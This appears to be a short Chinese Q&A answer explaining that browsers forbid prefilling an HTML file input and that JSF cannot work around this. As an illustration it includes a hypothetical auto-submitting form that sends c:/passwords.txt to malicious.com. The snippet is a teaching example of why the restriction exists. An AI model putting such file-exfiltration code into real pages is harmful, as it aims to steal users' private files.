2011-02-11 54 views

回答

4

这是不可能的。这是HTML的安全限制。您无法预先填写/保留HTML <input type="file">字段的值。由于JSF只是生成HTML,因此JSF不能做太多的事情。

想象,这个安全限制是不存在的,网站将能够做到以下几点:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data"> 
    <input type="file" name="file" value="c:/passwords.txt" /> 
</form> 
<script>document.getElementById('tryToGetPasswords').submit();</script> 

你看到了吗?